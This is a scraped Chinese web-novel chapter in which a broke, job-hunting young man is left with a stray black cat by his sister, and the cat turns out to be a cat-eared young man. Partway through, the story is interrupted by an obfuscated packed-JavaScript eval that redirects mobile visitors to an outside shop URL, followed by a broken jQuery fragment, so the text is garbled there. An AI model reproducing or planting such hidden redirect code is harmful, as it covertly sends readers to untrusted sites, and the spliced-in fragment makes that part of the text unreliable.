文趣网 > 其他小说 > 养猫成本过高 > 1. 长得还不错
    陈木盯着手机屏幕,已经整整五分钟了。

    中国银行。

    余额:1842.00元。

    房租:3000元。

    还有五天到期。

    他又数了一遍。

    1842,四位数,没看错。

    陈木把手机扣在桌上,往后一仰,椅子发出一声不堪重负的吱呀。天花板有一块墙皮翘起来了,像一张欲言又止的嘴。

    他闭上眼。

    第11家了。

    投了11份简历,面试了11家公司,收到了11个"很遗憾"。

    有一家他印象特别深,面试官是个戴眼镜的中年男人,翻完他的简历后抬起头,推了推眼镜说:"你很优秀,但我们这次招的是有三年以上经验的。"

    陈木当时就想问,你招聘启事上明明写的是"经验不限"。

    但他没说。

    他说了"谢谢",然后站起来走了。走出那栋写字楼的时候,他在门口的自动贩卖机买了一瓶水,3块5。买完之后他对着那瓶水发了十秒钟的呆。

    3块5。够他吃一顿早饭了。

    手机突然响了。

    屏幕上跳出来两个字:小禾。

    陈木接起来,还没来得及说"喂",对面就炸了。

    "哥!哥我捡了一只猫!"

    陈小禾的声音从听筒里劈出来,带着一种"你无法拒绝"的兴奋。陈木把手机拿远了一点,揉了揉耳朵。

    "然后呢?"

    "爸妈不让我养。"

    "……所以?"

    "所以我把猫养到你那儿。"

    陈木沉默了两秒。

    "不行。"

    "为什么不行!"

    "我连自己都快养不活了,还养猫?"

    "猫粮我出!"

    "那也不行——"

    "哥,好哥哥——"陈小禾的声音忽然低了下去,带着一种"我要开始认真了"的郑重,"我在公交车上了,还有一站到你家了。"

    "…………"

    "你不说话我就当你答应我了!"

    "陈小……"

    嘟,嘟,嘟——

    陈小禾立刻把电话挂了。

    陈木看着被挂断的手机屏幕,上面还停留着通话结束的界面。

    窗外的天已经黑了,对面楼的灯亮了几盏,暖黄色的,隔着一整条街的距离,像一小片一小片孤零零的岛屿。

    他叹了口气。

    亲妹。绝对是亲妹。

    敲门声在三分钟后响起。

    陈木拉开门,陈小禾站在门口,手里拎着一个——他低头看了一眼——一个纸箱子。就是那种超市装牛奶的纸箱子,上面扎了几个窟窿眼儿,用透明胶带封了口。

    "你认真的?"陈木指了指箱子。

    "捡的时候没带猫包嘛。"陈小禾笑得理直气壮,"而且你看,我扎了孔,很有爱心的。"

    陈木侧身让她进来。

    陈小禾把纸箱子放在客厅地板上,蹲下来拆胶带。撕胶带的声音刺啦刺啦的,在安静的屋子里格外响。陈木靠在墙边,双臂抱在胸前,看着她折腾。

    "你到底在哪儿捡的?"

    "学校后门,垃圾桶旁边。"

    "垃圾桶旁边?"

    "对呀,它缩在一个纸袋子里,那个纸袋子都湿了,它就那么缩在里面,也不叫,也不动。我一开始以为它死了,蹲下来看了半天,结果它抬了一下头。"陈小禾拆完胶带,掀开纸箱盖子,"你看。"

    陈木走过去,低头。

    纸箱子里蜷着一只猫。

    黑色的。毛色很纯,黑得没有一丝杂色,但乱糟糟的,有几撮翘起来,像是被雨淋过又自己风干的。

    它缩在箱子最角落,尾巴把自己圈起来,头埋在前爪里。

    陈木蹲下来。

    那只猫似乎感觉到了什么,耳朵抖了一下,然后慢慢抬起了头。

    陈木和它对视了。

    金色的眼睛。

    陈木愣了一下。他见过绿眼睛的猫、黄眼睛的猫、蓝眼睛的猫,但金色的——像两枚被擦亮的旧铜币,沉甸甸地嵌在那张黑色的脸上。

    那双眼睛看着他。

    陈木说不上来那是什么感觉。他养过猫,小时候老家养过一只橘猫,看人的眼神是懒洋洋的、粘糊糊的。

    但这一只不一样。这只猫看他的眼神,像在看一个……东西。

    一只蝼蚁。一个不值一提的存在。

    它只看了他一眼,就把头重新埋回去了。

    陈木蹲在那里,保持着那个姿势,脑子里翻了个白眼。

    我还没嫌弃你呢,你倒先嫌弃我了。

    "哥,"陈小禾拍了拍手站起来,"它吃东西了,我在路上买了一根火腿肠,掰碎了喂它,它吃了三小块。"

    "三小块?"

    "嗯,吃得很慢,像——"陈小禾想了想,"像那种很久没吃饭的人,忘了吃饭是什么感觉了。"

    陈木看了看那只猫,又看了看陈小禾。

    "爸妈为什么不让养?"

    "妈妈说她对猫毛过敏。"

    "妈什么时候对猫毛过敏了?"

    "昨天。"陈小禾理直气壮,"昨天的妈妈对猫毛过敏,今天的妈妈也对猫毛过敏,明天的妈妈也会对猫毛过敏。哥,你什么时候变得这么啰嗦了?"

    陈木闭上嘴。

    他觉得自己今天叹的气,已经快赶上过去一个月加起来的总和了。

    "那我走了啊。"陈小禾拎起空书包往肩上甩,"呼呼就交给你了。"

    "……呼呼?"

    "啊,我刚才起的名字!"陈小禾转过身来,一脸"你还没夸我呢"的表情,"你看啊,它是只黑猫,全身黑乎乎的,对吧?还有它一回来就呼呼大睡,是不是特别应景?"

    陈木看着她。

    "你管一只垃圾桶旁边捡回来的黑猫叫'呼呼'?"

    "不好吗?"陈小禾疑惑道。

    "你不觉得这名字像一只粉色小猪?"

    "哥!"

    "……算了。就叫这个吧。"

    陈小禾得意地哼了一声,拉开门走了出去。走到门口又探回半个身子:"对了哥,你明天是不是有面试?"

    "嗯。"

    "那早点睡。别又半夜刷招聘软件。"

    "知道了。"

    "它真的挺可怜的。"陈小禾忽然说,声音比刚才轻了一点,"我蹲下去的时候,它那个眼神——"

    她没说完,摆了摆手,关上了门。

    屋子里安静下来了。

    陈木站在原地,听走廊里的脚步声渐渐远了,在楼道里消失,一切归于寂静。

    他低下头。

    那只叫"呼呼"的黑猫还在纸箱子里缩着,头埋在前爪里,一动不动。

    纸箱子旁边掉了一小截没吃完的火腿肠,陈小禾走之前用一张纸巾垫着放在地板上。

    陈木走过去,犹豫了一下,蹲下来伸手想摸一下它的头。

    手还没碰到,猫的耳朵往后压平了。

    它没抬头,但耳朵给出了一个非常清晰的信号:别碰我。

    陈木收回手。

    "行。不碰你。"

    他站起来,看了看客厅——一张沙发、一个茶几、一台旧电视、一个冰箱。

    沙发是房东的,茶几是他花80块从二手市场拖回来的,电视是坏的他懒得扔,冰箱是他唯一觉得买了不亏的东西。

    这就是他的家。

    一个月2500的房租,押一付三,花光了他大半年的积蓄。五天后续租,要再交三个月。

    但他已经没有钱交下一个季度的房租了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735560|209045||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陈木坐到沙发上,掏出手机,又看了一遍银行余额,1842元。

    他又打开招聘软件,已投递那一栏写着"23"。已沟通那一栏写着"19"。面试邀请那一栏,他数了数,11个灰色的条目,每一个都写着"很遗憾,您与我们的岗位不太匹配"。

    第12个。

    明天的第12个面试。

    他把手机放下,靠进沙发里。头仰着,天花板上的墙皮又映入视野,翘起来的那一小块在日光灯的照射下投了一小片阴影。

    陈木站起来,拿了换洗的衣服,进了卫生间。

    门关上的时候他没注意到——沙发角落的纸箱子里,那只一直缩着的黑猫忽然抬起了头。金色的眼睛在暗淡的灯光里亮了一下,耳朵竖起来,朝着卫生间的方向转了转。

    水声从卫生间里传出来,哗啦哗啦的。

    黑猫从纸箱子里跳了出来。

    轻。

    它落地几乎没有声音。四只爪子踩在老旧的地板上,脚垫陷下去又弹起,像一小片影子在地面上移动。

    它绕着客厅走了一圈。很慢,每一步都走得谨慎。先闻了闻茶几腿——出租屋的木茶几腿,带着前任租客留下的灰尘气味。又走到冰箱旁边,蹲下来看了一会儿冰箱底部漏出来的光。

    然后它跳上了沙发。

    这个动作也没有发出声音。它踩在陈木刚刚坐过的地方,沙发垫上还有一个浅浅的凹痕。它原地转了半圈,没有趴下。

    它站在沙发靠背上,尾巴垂下来,金色眼睛在暗淡的屋子里缓缓扫视了一圈——

    窗户,门,冰箱,电视,茶几,阳台。

    然后它坐下来。

    尾巴在身后慢悠悠地甩了两下。

    卫生间里的水声停了。

    又过了一会儿,卫生间的门把手转动了。吱呀一声。

    陈木推开门走出来,拿着毛巾擦头发。他穿着一件旧T恤和一条灰色睡裤,头发湿漉漉的,有几缕贴在额头上。

    "呼——"

    他擦了两下头发,习惯性地抬起头,然后——

    他愣住了。

    毛巾还搭在头上。手僵在半空中。

    沙发上坐着一个人。

    不,不是人。

    黑头发,乱糟糟地搭在额前和耳侧。

    金色的眼睛,和他刚才看到的那只猫一模一样的金色。

    头顶支棱着两只黑色的猫耳。三角形的,耳尖微微朝前倾斜,里面的绒毛是浅灰色的,和外面的黑毛形成一道清晰的界线。两只耳朵都在动,左边的朝左转了一下,右边的朝陈木的方向偏了偏。

    再往下是一条黑色的尾巴。

    很长,毛茸茸的,正慢悠悠地从沙发边缘垂下来,尾尖悬在半空,极其轻微地晃了一下。

    陈木站在那里。

    毛巾从头上滑下来,搭在他的肩膀上,他也没反应。

    他就那么看着沙发上那个"东西"。

    那个人——姑且叫人吧——坐在沙发上,就是刚才陈木坐过的那个位置。他的手搭在膝盖上,姿态很懒散,眼神犀利,气势汹汹的,像坐在某种华贵的王座上,而不是一张二手布艺沙发上。

    他的衣服很旧,是一件看不出原本颜色的长袍样的东西,料子倒是很好的样子,但破了好几处,袖口和下摆都磨出了毛边。

    黑头发的青年掀起眼皮。

    和陈木对视。

    金色的眼睛里没有任何情绪。和那只猫的眼神一模一样,像在看一件东西。

    陈木的脑子空白了三秒,身体不自觉向后退了一步,后腰撞到了卫生间的门把手。

    第一秒:沙发上为什么有个人?

    第二秒:那是什么耳朵?黑色的、尖的、会动的耳朵?他怎么还有尾巴,尾巴怎么也可以动?

    第三秒:其实……长得……还不错……